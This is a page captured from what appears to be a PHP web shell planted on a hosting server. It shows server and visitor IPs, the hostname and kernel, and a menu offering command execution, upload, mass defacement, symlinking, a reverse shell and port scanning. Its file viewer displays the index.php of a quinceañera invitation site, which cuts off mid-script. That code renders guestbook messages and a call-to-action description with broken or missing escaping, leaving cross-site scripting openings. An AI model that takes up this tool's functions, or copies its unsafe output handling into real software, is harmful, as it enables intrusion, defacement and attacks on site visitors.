Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
festividades
/
Viewing: index.php
<?php // ===== Cargar datos desde la base de datos ===== require_once 'admin/includes/db.php'; $db = getDB(); // Settings $settingsRaw = $db->query('SELECT setting_key, setting_value FROM site_settings')->fetchAll(); $S = []; foreach ($settingsRaw as $r) $S[$r['setting_key']] = $r['setting_value']; // Hero $hero = $db->query('SELECT * FROM hero_settings LIMIT 1')->fetch(); // Countdown $countdown = $db->query('SELECT * FROM countdown_settings LIMIT 1')->fetch(); // Timeline $timeline = $db->query('SELECT * FROM timeline_events ORDER BY sort_order ASC')->fetchAll(); // Gallery $gallery = $db->query('SELECT * FROM gallery_images ORDER BY sort_order ASC')->fetchAll(); // Info Panels $panels = $db->query('SELECT * FROM info_panels ORDER BY sort_order ASC')->fetchAll(); // Guestbook messages $messages = $db->query('SELECT * FROM guestbook_messages ORDER BY created_at DESC')->fetchAll(); // Location $loc = $db->query('SELECT * FROM location_settings LIMIT 1')->fetch(); // CTA $cta = $db->query('SELECT * FROM cta_settings LIMIT 1')->fetch(); // Helper function e($v) { return htmlspecialchars($v ?? '', ENT_QUOTES, 'UTF-8'); } ?> <!doctype html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?= e($S['site_title'] ?? 'Invitación Elegante') ?></title> <link rel="icon" href="<?= e($S['favicon'] ?? 'public/assets/images/favicon.png') ?>" type="image/png"> <?php $fPrimary = $S['site_font_primary'] ?? 'Playfair Display'; $fSecondary = $S['site_font_secondary'] ?? 'Quicksand'; $fontUrl = "https://fonts.googleapis.com/css2?family=" . urlencode($fPrimary) . "&family=" . urlencode($fSecondary) . "&display=swap"; ?> <link href="<?= $fontUrl ?>" rel="stylesheet"> <script src="https://unpkg.com/@phosphor-icons/web"></script> <style> :root { --font-primary: '<?= $fPrimary ?>', serif; --font-secondary: '<?= $fSecondary ?>', sans-serif; --bg: <?= e($S['color_bg'] ?? '#faf8f5') ?>; --bg-soft: <?= e($S['color_bg_soft'] ?? 'rgba(255, 255, 255, .72)') ?>; --card: <?= e($S['color_card'] ?? 'rgba(255, 255, 255, .68)') ?>; --text: <?= e($S['color_text'] ?? '#4a4a4a') ?>; --muted: <?= e($S['color_muted'] ?? 'rgba(74, 74, 74, .7)') ?>; --purple: <?= e($S['color_purple'] ?? '#8b6b8e') ?>; --gold: <?= e($S['color_gold'] ?? '#c5a880') ?>; --border: <?= e($S['color_border'] ?? 'rgba(197, 168, 128, .22)') ?>; --shadow: 0 20px 60px rgba(0, 0, 0, .05); --shadow-strong: 0 25px 80px rgba(0, 0, 0, .1); /* Dynamic Glows */ --purple-glow: <?= e($S['color_purple'] ?? '#8b6b8e') ?>33; --gold-glow: <?= e($S['color_gold'] ?? '#c5a880') ?>33; --radius-xl: 32px; --radius-lg: 24px; --radius-md: 18px; } html.dark { --bg: <?= e($S['dark_bg'] ?? '#1a151a') ?>; --bg-soft: <?= e($S['dark_bg_soft'] ?? 'rgba(35, 28, 36, .6)') ?>; --card: <?= e($S['dark_card'] ?? 'rgba(41, 34, 42, .72)') ?>; --text: <?= e($S['dark_text'] ?? '#eaeaea') ?>; --muted: <?= e($S['dark_muted'] ?? 'rgba(234, 234, 234, .72)') ?>; --purple: <?= e($S['dark_purple'] ?? '#d0a9d3') ?>; --gold: <?= e($S['dark_gold'] ?? '#e6cc80') ?>; --border: <?= e($S['dark_border'] ?? 'rgba(230, 204, 128, .16)') ?>; --shadow: 0 20px 60px rgba(0, 0, 0, .32); --shadow-strong: 0 25px 80px rgba(0, 0, 0, .4); --purple-glow: <?= e($S['dark_purple'] ?? '#d0a9d3') ?>44; --gold-glow: <?= e($S['dark_gold'] ?? '#e6cc80') ?>44; } /* Advanced Lightbox Styles */ .lightbox { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0.95); backdrop-filter: blur(15px); z-index: 2000; flex-direction: column; align-items: center; justify-content: center; padding-bottom: 80px; } .lightbox.open { display: flex; } .lightbox-content { position: relative; width: 100%; height: 70vh; display: flex; align-items: center; justify-content: center; } .lightbox img, .lightbox video { max-width: 90%; max-height: 100%; object-fit: contain; border-radius: 12px; box-shadow: 0 30px 100px rgba(0,0,0,0.5); } .lightbox-nav { position: absolute; top: 50%; width: 100%; display: flex; justify-content: space-between; padding: 0 2rem; transform: translateY(-50%); pointer-events: none; } .nav-btn { width: 54px; height: 54px; border-radius: 50%; background: rgba(255,255,255,0.1); border: 1px solid rgba(255,255,255,0.2); color: white; font-size: 1.5rem; cursor: pointer; display: grid; place-items: center; transition: all 0.3s ease; pointer-events: auto; backdrop-filter: blur(4px); } .nav-btn:hover { background: rgba(255,255,255,0.2); transform: scale(1.1); } .lightbox-thumbs { position: absolute; bottom: 20px; left: 50%; transform: translateX(-50%); display: flex; gap: 10px; padding: 10px; overflow-x: auto; max-width: 90%; scrollbar-width: none; } .lightbox-thumbs::-webkit-scrollbar { display: none; } .thumb-item { width: 60px; height: 60px; border-radius: 8px; object-fit: cover; cursor: pointer; opacity: 0.5; transition: all 0.3s ease; border: 2px solid transparent; flex-shrink: 0; } .thumb-item.active { opacity: 1; border-color: var(--gold); transform: scale(1.1); } .lightbox-close { position: absolute; top: 20px; right: 20px; font-size: 2rem; color: white; background: none; border: none; cursor: pointer; z-index: 2005; opacity: 0.8; transition: 0.3s; } .share-section { text-align: center; padding: 3rem 1rem; background: var(--bg-soft); border-top: 1px solid var(--border); border-bottom: 1px solid var(--border); margin: 2rem 0; } .share-btn { display: inline-flex; align-items: center; gap: 0.8rem; padding: 1rem 2.5rem; background: linear-gradient(135deg, var(--purple), var(--gold)); color: white; border: none; border-radius: 50px; font-size: 1.1rem; font-weight: 600; cursor: pointer; box-shadow: 0 10px 30px rgba(0,0,0,0.15); transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); } .share-btn:hover { transform: translateY(-5px) scale(1.05); box-shadow: 0 15px 40px rgba(0,0,0,0.25); } .share-btn i { font-size: 1.4rem; } </style> <link rel="stylesheet" href="public/assets/css/style.css"> </head> <body class="locked"> <div class="progress" id="progress"></div> <canvas id="petalCanvas"></canvas> <canvas id="cursorCanvas"></canvas> <div class="particles" id="particles"></div> <div class="sparkles" id="sparkles" hidden></div> <div class="blob"></div> <div class="blob-2"></div> <!-- OVERLAY --> <div class="overlay" id="overlay"> <div class="intro fade-in visible" style="background:var(--bg); border-radius:24px; padding:1.5rem 1rem 0; width:min(90%,360px); box-shadow:0 30px 80px rgba(0,0,0,.3); overflow:hidden; border: 1px solid var(--border);"> <h1 class="script-title" style="color:var(--purple); font-size:clamp(2.5rem, 8vw, 3.5rem); line-height: 1.1;"><?= e($S['overlay_title'] ?? 'Rebecca') ?></h1> <h2 class="serif-title" style="color:var(--gold); font-size:1.4rem; margin-top:0.2rem; letter-spacing:1px;"><?= e($S['overlay_subtitle'] ?? 'Mis XV Años') ?></h2> <p style="color:var(--text); opacity:0.8; font-size:0.9rem; margin:1rem 0 0;"><?= e($S['overlay_instruction'] ?? 'Haz clic en el sobre') ?></p> <div class="envelope-wrap" id="envelopeTrigger" style="margin-top:1rem; width:180px; height:120px;"> <div class="envelope"> <div class="env-back"></div> <div class="env-letter"> <div style="text-align:center;padding:0.4rem;"> <div style="font-size:0.55rem;text-transform:uppercase;letter-spacing:0.2em;color:var(--gold);margin-bottom:0.3rem;"><?= e($S['overlay_letter_pre'] ?? 'Tienes una') ?></div> <div class="script-title" style="font-size:1.6rem; color:var(--purple);"><?= e($S['overlay_letter_title'] ?? 'Invitación') ?></div> <div style="font-size:0.55rem;text-transform:uppercase;letter-spacing:0.15em;color:var(--gold);margin-top:0.3rem;"><?= e($S['overlay_letter_post'] ?? 'especial para ti') ?></div> </div> </div> <div class="env-front"></div> <div class="env-flap"></div> <div class="env-seal" style="width:40px; height:40px; font-size:1.2rem;"><i class="ph-fill ph-envelope-simple"></i></div> </div> </div> <img src="<?= e($S['overlay_flowers_image'] ?? 'public/assets/images/flores.png') ?>" alt="Detalle floral" style="width:100%; max-width:280px; margin:1rem auto 0; object-fit:contain; transform:translateY(10px); pointer-events:none; display:block;"> </div> </div> <!-- NAV --> <nav class="site-nav" id="nav"> <div class="nav-inner"> <div class="monogram"><?= e($S['monogram'] ?? 'R') ?></div> <a href="admin/" class="outline-btn login-nav-btn"> <i class="ph-bold ph-user-focus"></i> <span class="desktop-text">LOGIN</span> </a> </div> </nav> <!-- CONTROLS --> <div class="controls" id="controls"> <?php if (($S['music_enabled'] ?? '1') === '1'): ?> <button class="icon-btn" id="audioBtn" aria-label="Audio" title="Reproducir música"> <span class="audio-off"><i class="ph-fill ph-play-circle"></i></span> <span class="audio-on" hidden><i class="ph-fill ph-pause-circle"></i></span> </button> <?php endif; ?> <button class="icon-btn" id="themeBtn" aria-label="Modo oscuro" title="Cambiar tema"> <span class="theme-light"><i class="ph-fill ph-moon-stars"></i></span> <span class="theme-dark" hidden><i class="ph-fill ph-sun"></i></span> </button> </div> <main id="mainContent"> <!-- HERO --> <section class="hero"> <!-- Background Media Layer --> <div class="hero-bg-media"> <?php if (($hero['bg_media_type'] ?? 'color') === 'video' && !empty($hero['bg_video_path'])): ?> <video src="<?= e($hero['bg_video_path']) ?>" autoplay muted loop playsinline class="hero-bg-video"></video> <div class="hero-bg-overlay"></div> <?php elseif (($hero['bg_media_type'] ?? 'color') === 'image' && !empty($hero['bg_image_path'])): ?> <img src="<?= e($hero['bg_image_path']) ?>" class="hero-bg-img" alt="Fondo" loading="lazy"> <div class="hero-bg-overlay"></div> <?php endif; ?> </div> <div class="container hero-grid <?= ($hero['media_type'] ?? 'image') === 'color' ? 'no-media' : '' ?>"> <div class="fade-in center-sm" data-parallax="0.12"> <h1 class="script-title" style="font-size:clamp(4.8rem,14vw,8.8rem);"><?= e($hero['name']) ?></h1> <h2 class="serif-title" style="font-size:clamp(2rem,4vw,3.2rem);"><?= e($hero['subtitle']) ?></h2> <p><?= e($hero['description']) ?></p> <div class="scroll-hint hidden-mobile">⌄</div> </div> <?php if (($hero['media_type'] ?? 'image') !== 'color'): ?> <div class="hero-media fade-in reveal-delay-1 <?= ($hero['media_shape'] ?? 'circle') !== 'circle' && ($hero['media_shape'] ?? 'circle') !== 'squircle' ? 'no-rings' : '' ?>" data-parallax="-0.08"> <div class="ring"></div> <div class="ring-2"></div> <div class="portrait-wrap <?= e($hero['media_shape'] ?? 'circle') ?>"> <?php if (($hero['media_type'] ?? 'image') === 'video' && !empty($hero['video_path'])): ?> <video src="<?= e($hero['video_path']) ?>" autoplay muted loop playsinline class="hero-video-bg"></video> <div class="media-overlay"></div> <?php else: ?> <img src="<?= e($hero['portrait_image']) ?>" alt="<?= e($hero['name']) ?>" referrerpolicy="no-referrer" loading="lazy"> <div class="media-overlay"></div> <?php endif; ?> </div> <div class="floating-badge"><i class="ph-fill ph-sparkle"></i></div> <div class="floating-badge-2"><i class="ph-fill ph-heart"></i></div> </div> <?php endif; ?> </div> </section> <!-- CUSTOM QUOTE --> <?php if (($S['quote_show'] ?? '0') === '1'): ?> <section class="quote-section fade-in"> <div class="container-narrow centered"> <div class="quote-container"> <i class="ph-fill ph-quotes quote-icon-top"></i> <p class="quote-text"><?= e($S['quote_text']) ?></p> <?php if (!empty($S['quote_author'])): ?> <p class="quote-author">— <?= e($S['quote_author']) ?></p> <?php endif; ?> <i class="ph-fill ph-quotes quote-icon-bottom"></i> </div> </div> </section> <?php endif; ?> <!-- COUNTDOWN --> <?php if (($countdown['is_active'] ?? 1)): ?> <section class="glass-section glass-band centered"> <div class="container-narrow fade-in"> <h3 class="serif-title" style="font-size:2.2rem;color:var(--purple);margin-top:.5rem;"><?= e($countdown['section_title']) ?></h3> <p class="eyebrow"><?= e($countdown['section_subtitle']) ?></p> <div class="countdown-grid" id="countdown"> <div class="time-card"><div class="time-box" id="days">00</div><div class="eyebrow">Días</div></div> <div class="time-card"><div class="time-box" id="hours">00</div><div class="eyebrow">Hrs</div></div> <div class="time-card"><div class="time-box" id="minutes">00</div><div class="eyebrow">Min</div></div> <div class="time-card"><div class="time-box" id="seconds">00</div><div class="eyebrow">Seg</div></div> </div> </div> </section> <?php endif; ?> <!-- STORY / DESCRIPTION --> <?php if (($S['story_show'] ?? '0') === '1'): ?> <section class="soft-section story-section"> <div class="container fade-in"> <div class="story-grid"> <div class="story-image-wrap"> <img src="<?= e($S['story_image'] ?? 'public/assets/images/historia_default.jpg') ?>" alt="Historia" class="story-img" loading="lazy"> <div class="story-img-decoration"></div> </div> <div class="story-content"> <h3 class="section-script script-title" style="text-align:left; font-size: 3.5rem;"><?= e($S['story_title']) ?></h3> <div class="story-text-body"> <?= nl2br(e($S['story_content'])) ?> </div> </div> </div> </div> </section> <?php endif; ?> <!-- TIMELINE --> <section class="soft-section"> <div class="container-narrow"> <div class="centered fade-in mb-4"> <div style="font-size:2.4rem;color:var(--gold);opacity:.7;"><i class="ph-fill ph-clock-user"></i></div> <h3 class="section-script script-title">Itinerario</h3> <p class="eyebrow">Momentos especiales</p> </div> <div class="timeline"> <?php foreach ($timeline as $i => $ev): $delay = min($i, 4); ?> <div class="timeline-item fade-in <?= $delay ? "reveal-delay-$delay" : '' ?>"> <div class="timeline-time"><?= e($ev['event_time']) ?></div> <div class="timeline-dot"><i class="<?= e($ev['icon']) ?>"></i></div> <div class="timeline-title"><?= e($ev['title']) ?></div> </div> <?php endforeach; ?> </div> </div> </section> <!-- GALLERY --> <section class="soft-section" style="background:rgba(139,107,142,.05);"> <div class="container"> <div class="centered fade-in mb-4"> <div style="font-size:2.4rem;color:var(--gold);opacity:.7;"><i class="ph-fill ph-camera"></i></div> <h3 class="section-script script-title">Galería</h3> </div> <div class="carousel-container fade-in"> <div class="carousel-track" id="storyCarousel"> <?php foreach ($gallery as $i => $img): ?> <div class="carousel-slide <?= $i === 0 ? 'active' : '' ?>"> <div class="gallery-card" onclick="openGallery(<?= $i ?>)"> <?php if (($img['media_type'] ?? 'image') === 'video'): ?> <video src="<?= e($img['image_path']) ?>" muted loop playsinline class="gallery-video" style="width:100%;height:100%;object-fit:cover;"></video> <div class="video-hint" style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);font-size:3rem;color:white;opacity:0.8;pointer-events:none;"><i class="ph-fill ph-play-circle"></i></div> <?php else: ?> <img src="<?= e($img['image_path']) ?>" alt="<?= e($img['alt_text']) ?>" referrerpolicy="no-referrer" loading="lazy"> <?php endif; ?> <div class="gallery-overlay"><i class="ph-bold ph-magnifying-glass-plus"></i></div> </div> </div> <?php endforeach; ?> </div> <div class="carousel-indicators" id="carouselIndicators"> <?php foreach ($gallery as $i => $img): ?> <div class="carousel-dot <?= $i === 0 ? 'active' : '' ?>" data-index="<?= $i ?>"></div> <?php endforeach; ?> </div> </div> </div> </section> <!-- INFO PANELS --> <section class="soft-section"> <div class="container info-grid"> <?php foreach ($panels as $i => $p): ?> <div class="tilt-card fade-in <?= $i ? 'reveal-delay-1' : '' ?>"> <div class="panel center"> <div class="panel-icon"><i class="<?= e($p['icon']) ?>"></i></div> <h4 class="serif-title" style="font-size:1.9rem;color:var(--purple);"><?= e($p['title']) ?></h4> <p class="mb-1" style="font-size:1.1rem;"><?= e($p['subtitle']) ?></p> <p class="muted mb-0"><?= e($p['description']) ?></p> </div> </div> <?php endforeach; ?> </div> </section> <!-- GUESTBOOK --> <section class="soft-section glass-band"> <div class="container guestbook-grid"> <div class="fade-in"> <div class="centered mb-4"> <div style="font-size:2.4rem;color:var(--gold);opacity:.7;"><i class="ph-fill ph-pencil-simple"></i></div> <h3 class="section-script script-title">Libro de Firmas</h3> <p class="eyebrow">Déjame un lindo mensaje</p> </div> <div class="panel"> <h4 class="serif-title" style="font-size:1.8rem;color:var(--purple);">Escribe tus deseos</h4> <form id="guestbookForm" class="stack mt-3"> <input class="field" id="guestName" type="text" placeholder="Tu Nombre" required> <textarea class="textarea" id="guestMessage" placeholder="Tu Mensaje..." required></textarea> <button class="primary-btn" type="submit">Enviar Mensaje</button> </form> </div> </div> <div class="fade-in reveal-delay-1"> <div class="messages" id="messages"></div> </div> </div> </section> <!-- LOCATION --> <section class="soft-section"> <div class="container location-grid"> <div class="fade-in"> <div class="panel" style="display:flex;flex-direction:column;justify-content:center;height:100%;gap:0;padding:0;overflow:hidden;"> <div style="background:linear-gradient(135deg,var(--purple),#a385a6);padding:2rem;text-align:center;"> <div style="font-size:2.8rem;color:rgba(255,255,255,.9);margin-bottom:.5rem;"><i class="ph-fill ph-map-trifold"></i></div> <h3 class="serif-title" style="color:#fff;font-size:1.6rem;margin:0;letter-spacing:.05em;">¡Te esperamos!</h3> </div> <div style="padding:2rem;display:flex;flex-direction:column;gap:2rem;"> <div style="display:flex;align-items:flex-start;gap:1.2rem;"> <div style="width:52px;height:52px;flex-shrink:0;border-radius:50%;background:linear-gradient(135deg,var(--gold),#d4b896);display:grid;place-items:center;color:#fff;font-size:1.4rem;box-shadow:0 8px 20px rgba(197,168,128,.35);"><i class="ph-fill ph-calendar-blank"></i></div> <div> <p style="font-family:'Balsamiq Sans',serif;color:var(--purple);font-weight:700;font-size:.75rem;text-transform:uppercase;letter-spacing:.2em;margin:0 0 .3rem;">Cuándo</p> <p style="font-size:1.15rem;margin:0 0 .2rem;font-weight:500;"><?= e($loc['date_text']) ?></p> <p class="muted" style="margin:0;"><?= e($loc['time_text']) ?></p> </div> </div> <div style="height:1px;background:var(--border);"></div> <div style="display:flex;align-items:flex-start;gap:1.2rem;"> <div style="width:52px;height:52px;flex-shrink:0;border-radius:50%;background:linear-gradient(135deg,var(--gold),#d4b896);display:grid;place-items:center;color:#fff;font-size:1.4rem;box-shadow:0 8px 20px rgba(197,168,128,.35);"><i class="ph-fill ph-map-pin"></i></div> <div> <p style="font-family:'Balsamiq Sans',serif;color:var(--purple);font-weight:700;font-size:.75rem;text-transform:uppercase;letter-spacing:.2em;margin:0 0 .3rem;">Dónde</p> <p style="font-size:1.15rem;margin:0 0 .2rem;font-weight:500;"><?= e($loc['venue_name']) ?></p> <p class="muted" style="margin:0 0 1.2rem;"><?= e($loc['address']) ?></p> <a class="primary-btn" href="<?= e($loc['directions_url']) ?>" target="_blank" rel="noreferrer" style="font-size:.75rem;padding:.75rem 1.4rem;"><i class="ph-bold ph-navigation-arrow"></i> Cómo llegar</a> </div> </div> </div> </div> </div> <div class="fade-in reveal-delay-1" style="position:relative;"> <div style="position:absolute;inset:-4px;background:linear-gradient(135deg,var(--purple),var(--gold));border-radius:calc(var(--radius-xl) + 4px);z-index:0;"></div> <iframe class="map-frame" src="<?= e($loc['map_embed_url']) ?>" loading="lazy" referrerpolicy="no-referrer-when-downgrade" style="position:relative;z-index:1;"></iframe> </div> </div> </section> <!-- CTA --> <section class="cta"> <div class="container-narrow fade-in"> <h3 class="script-title" style="font-size:clamp(4rem,9vw,7rem);"><?= e($cta['title']) ?></h3> <p style="max-width:44rem;margin:0 auto 2.2rem;font-family:'Balsamiq Sans',serif;font-size:1.25rem;line-height:1.7;"> <?= $cta['description'] ?> </p> <button class="primary-btn" id="openRsvp"><?= e($cta['button_text']) ?></button> </div> </section> <!-- SHARE SECTION --> <section class="share-section fade-in"> <div class="container-narrow"> <div style="font-size:2rem;color:var(--gold);margin-bottom:1rem;"><i class="ph-fill ph-hands-clapping"></i></div> <h4 class="serif-title" style="font-size:1.8rem;color:var(--purple);margin-bottom:1.5rem;">¡Comparte la alegría!</h4> <p style="margin-bottom:2rem;opacity:0.8;">Ayúdanos a invitar a más personas compartiendo este enlace especial.</p> <button class="share-btn" onclick="shareApp()"> <i class="ph-bold ph-share-network"></i> Compartir Invitación </button> </div> </section> <footer style="text-align:center; padding: 4rem 1rem 2rem; color: var(--muted); font-size: 0.95rem;"> <?= e($S['footer_text'] ?? 'Celebrando en la granja') ?> <a href="<?= e($S['footer_link'] ?? '#') ?>" target="_blank" style="display:inline-flex; align-items:center; gap:0.4rem; padding: 0.4rem 1.2rem; margin-left:0.3rem; background: var(--card); border: 1px solid var(--border); border-radius: 20px; color: var(--gold); font-weight: bold; font-family:'Balsamiq Sans',serif; text-decoration: none; box-shadow: var(--shadow); transition: all 0.3s ease;" onmouseover="this.style.transform='translateY(-2px)'" onmouseout="this.style.transform='translateY(0)'"> <?= e($S['footer_brand'] ?? 'Aircan') ?> <i class="ph-bold ph-arrow-up-right" style="font-size: 0.8rem;"></i> </a> </footer> </main> <!-- RSVP MODAL --> <div class="modal" id="rsvpModal"> <div class="modal-card rsvp-card" role="dialog" aria-modal="true" style="max-width: 360px;"> <button class="close-btn" data-close="rsvpModal"><i class="ph-bold ph-x"></i></button> <div class="rsvp-header-img"><img src="<?= e($S['overlay_flowers_image'] ?? 'public/assets/images/flores.png') ?>" alt="Flores" style="width:100%;max-width:180px;margin:0 auto;display:block;"></div> <div class="rsvp-content" style="padding: 0 1.5rem 1.5rem;"> <div class="centered" style="position:relative;z-index:1;margin-top:-1rem;"> <h3 class="script-title" style="font-size:3.2rem;color:var(--purple);line-height:1;margin-bottom:0;"><?= e($hero['name']) ?></h3> <p class="serif-title" style="font-size:1.2rem;color:var(--gold);font-weight:normal;margin-top:0.2rem;"><?= e($hero['subtitle']) ?></p> </div> <p class="rsvp-text" style="font-size: 0.85rem; margin-bottom: 1rem;">Al confirmar, respetar los nombres y la cantidad de invitados indicados en el pase adjunto a esta invitación:</p> <form id="rsvpForm" class="stack" style="position:relative;z-index:1;gap:1rem;"> <div id="rsvpNameGroup"><label class="rsvp-label" for="rsvpName" style="font-size:0.8rem;">Nombres de los Invitados:</label><input class="rsvp-field" id="rsvpName" type="text" required style="padding:0.6rem; font-size:0.9rem;"></div> <div id="rsvpGuestsGroup"><label class="rsvp-label" for="rsvpGuests" style="font-size:0.8rem;">Cantidad de Invitados:</label><input class="rsvp-field" id="rsvpGuests" type="number" min="1" max="10" required style="padding:0.6rem; font-size:0.9rem;"></div> <div><label class="rsvp-label" for="rsvpConfirm" style="font-size:0.8rem;">Confirmación:</label> <select class="rsvp-field rsvp-select" id="rsvpConfirm" required style="padding:0.6rem; font-size:0.9rem;"> <option value="Si, asistiremos">Si, asistiremos</option> <option value="No asistiremos">No asistiremos</option> </select> </div> <div style="text-align:center;margin-top:0.5rem;"><button class="rsvp-submit-btn" type="submit" style="padding:0.6rem 2rem; font-size:0.9rem;">Enviar</button></div> </form> </div> </div> </div> <!-- LIGHTBOX --> <!-- PRO LIGHTBOX --> <div class="lightbox" id="lightbox"> <button class="lightbox-close" id="closeLightbox" onclick="closeLB()"><i class="ph-bold ph-x"></i></button> <div class="lightbox-content"> <img id="lightboxImage" src="" alt="Vista ampliada"> <video id="lightboxVideo" src="" controls style="display:none;"></video> <div class="lightbox-nav"> <button class="nav-btn" onclick="prevMedia()"><i class="ph-bold ph-caret-left"></i></button> <button class="nav-btn" onclick="nextMedia()"><i class="ph-bold ph-caret-right"></i></button> </div> </div> <div class="lightbox-thumbs" id="lightboxThumbs"> <?php foreach($gallery as $i => $img): ?> <?php if(($img['media_type'] ?? 'image') === 'video'): ?> <video class="thumb-item" src="<?= e($img['image_path']) ?>" onclick="changeMedia(<?= $i ?>)"></video> <?php else: ?> <img class="thumb-item" src="<?= e($img['image_path']) ?>" alt="Thumbnail" onclick="changeMedia(<?= $i ?>)"> <?php endif; ?> <?php endforeach; ?> </div> </div> <?php if (($S['music_enabled'] ?? '1') === '1'): ?> <audio id="bgAudio" loop> <source src="<?= e($S['music_file'] ?? 'public/assets/images/musica.mp3') ?>" type="audio/mpeg"> </audio> <?php endif; ?> <script> const EVENT_DATE = new Date('<?= e($countdown['event_date']) ?>'); const WHATSAPP_NUMBER = '<?= e($S['whatsapp_number'] ?? '') ?>'; const messagesSeed = <?= json_encode(array_map(function($m){return['name'=>$m['name'],'text'=>$m['message']];}, $messages)) ?>; const galleryData = <?= json_encode($gallery) ?>; const state = { envelopeOpen:false, isDark:false, isPlaying:false, messages:[...messagesSeed], currentGalleryIndex: 0 }; const html = document.documentElement; const body = document.body; const overlay = document.getElementById('overlay'); const envelopeTrigger = document.getElementById('envelopeTrigger'); const mainContent = document.getElementById('mainContent'); const controls = document.getElementById('controls'); const sparkles = document.getElementById('sparkles'); const progress = document.getElementById('progress'); const nav = document.getElementById('nav'); const audio = document.getElementById('bgAudio'); const audioBtn = document.getElementById('audioBtn'); const themeBtn = document.getElementById('themeBtn'); const messagesEl = document.getElementById('messages'); const lightbox = document.getElementById('lightbox'); const lightboxImage = document.getElementById('lightboxImage'); const lightboxVideo = document.getElementById('lightboxVideo'); function random(a,b){return Math.random()*(b-a)+a} function pad(v){return String(v).padStart(2,'0')} function createParticles(t,c,n){for(let i=0;i<n;i++){const e=document.createElement('span');e.className=c;e.style.left=random(0,100)+'%';e.style.top=random(0,100)+'%';e.style.setProperty('--dx',random(-50,50)+'px');e.style.setProperty('--dy',random(40,220)+'px');e.style.animationDuration=random(6,18)+'s';e.style.animationDelay=random(0,8)+'s';e.style.willChange='transform, opacity';t.appendChild(e)}} createParticles(document.getElementById('particles'),'particle',15); createParticles(sparkles,'sparkle',8); function updateCountdown(){ const el = document.getElementById('days'); if(!el) return; const n=Date.now(),d=Math.max(EVENT_DATE.getTime()-n,0); el.textContent=pad(Math.floor(d/864e5)); document.getElementById('hours').textContent=pad(Math.floor(d%864e5/36e5)); document.getElementById('minutes').textContent=pad(Math.floor(d%36e5/6e4)); document.getElementById('seconds').textContent=pad(Math.floor(d%6e4/1e3)); } updateCountdown();setInterval(updateCountdown,1000); function renderMessages(){ messagesEl.innerHTML = ''; state.messages.forEach(m => { const d = document.createElement('div'); d.className = 'message-item'; d.innerHTML = ` <div class="message-text">"${m.text.replace(/"/g, '"')}"</div> <div class="message-author">${m.name.replace(/</g, '<')}</div> `; messagesEl.appendChild(d); }); } renderMessages(); document.getElementById('guestbookForm').addEventListener('submit',e=>{e.preventDefault();const n=document.getElementById('guestName').value.trim(),m=document.getElementById('guestMessage').value.trim();if(!n||!m)return;state.messages.unshift({name:n,text:m});renderMessages();fetch('api.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=save_message&name='+encodeURIComponent(n)+'&message='+encodeURIComponent(m)});e.target.reset()}); function openEnvelope(){if(state.envelopeOpen)return;state.envelopeOpen=true;const w=envelopeTrigger,f=w.querySelector('.env-flap'),l=w.querySelector('.env-letter'),s=w.querySelector('.env-seal');s.style.transition='all .2s ease';s.style.transform='translate(-50%,-42%) scale(0)';s.style.opacity='0';setTimeout(()=>{f.style.transition='transform .75s ease';f.style.transform='rotateX(180deg)'},200);setTimeout(()=>{f.style.visibility='hidden';w.style.overflow='visible'},580);setTimeout(()=>{l.style.transition='transform .85s cubic-bezier(.16,1,.3,1),opacity .5s ease';l.style.transform='translateY(-110%)';l.style.opacity='1'},600);setTimeout(()=>{overlay.classList.add('hidden');body.classList.remove('locked');mainContent.classList.add('revealed');controls.classList.add('visible');sparkles.hidden=false; if(audio){audio.volume=0.5;audio.play().then(()=>{state.isPlaying=true;updateAudioButton()}).catch(()=>{state.isPlaying=false;updateAudioButton()})}},1500)} envelopeTrigger.addEventListener('click',openEnvelope); function updateAudioButton(){if(!audioBtn)return;audioBtn.classList.toggle('active',state.isPlaying);audioBtn.querySelector('.audio-off').hidden=state.isPlaying;audioBtn.querySelector('.audio-on').hidden=!state.isPlaying} if(audioBtn){ audioBtn.addEventListener('click',()=>{if(state.isPlaying){audio.pause();state.isPlaying=false}else{audio.play().then(()=>{state.isPlaying=true}).catch(()=>{state.isPlaying=false}).finally(updateAudioButton);return}updateAudioButton()}); } themeBtn.addEventListener('click',()=>{state.isDark=!state.isDark;html.classList.toggle('dark',state.isDark);themeBtn.querySelector('.theme-light').hidden=state.isDark;themeBtn.querySelector('.theme-dark').hidden=!state.isDark}); function updateScrollEffects(){const s=window.scrollY,d=document.documentElement.scrollHeight-window.innerHeight,r=d>0?(s/d)*100:0;progress.style.width=r+'%';nav.classList.toggle('scrolled',s>50);document.querySelectorAll('[data-parallax]').forEach(el=>{el.style.transform='translateY('+(s*Number(el.dataset.parallax||0))+'px)'})} window.addEventListener('scroll',updateScrollEffects,{passive:true});updateScrollEffects(); const observer=new IntersectionObserver(es=>{es.forEach(e=>{if(e.isIntersecting){e.target.classList.add('visible');observer.unobserve(e.target)}})},{threshold:.14,rootMargin:'0px 0px -40px 0px'}); document.querySelectorAll('.fade-in').forEach(el=>observer.observe(el)); document.querySelectorAll('.tilt-card').forEach(c=>{c.addEventListener('mousemove',e=>{const r=c.getBoundingClientRect(),x=e.clientX-r.left-r.width/2,y=e.clientY-r.top-r.height/2;c.style.transform='perspective(1000px) rotateX('+(-y/r.height)*12+'deg) rotateY('+(x/r.width)*12+'deg)'});c.addEventListener('mouseleave',()=>{c.style.transform='perspective(1000px) rotateX(0deg) rotateY(0deg)'})}); function openModal(id){const m=document.getElementById(id);if(m){m.classList.add('open');body.classList.add('locked')}} function closeModal(id){const m=document.getElementById(id);if(m){m.classList.remove('open');if(!document.querySelector('.modal.open')&&!lightbox.classList.contains('open')&&overlay.classList.contains('hidden'))body.classList.remove('locked')}} document.getElementById('openRsvp').addEventListener('click',()=>openModal('rsvpModal')); 